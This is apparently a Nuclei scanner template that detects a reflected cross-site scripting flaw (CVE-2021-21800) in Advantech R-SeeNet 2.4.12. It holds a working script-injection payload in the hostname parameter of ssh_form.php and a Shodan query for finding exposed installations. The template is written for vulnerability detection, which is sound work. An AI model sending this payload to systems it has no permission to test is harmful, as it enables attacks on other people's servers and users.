id: CVE-2021-21800

info:
  name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the ssh_form.php script functionality.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1271
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21800
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21800
    cwe-id: CWE-79
  metadata:
    shodan-query: http.html:"R-SeeNet"
    verified: "true"
  tags: cve,cve2021,xss,r-seenet

requests:
  - method: GET
    path:
      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>SSH Session </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200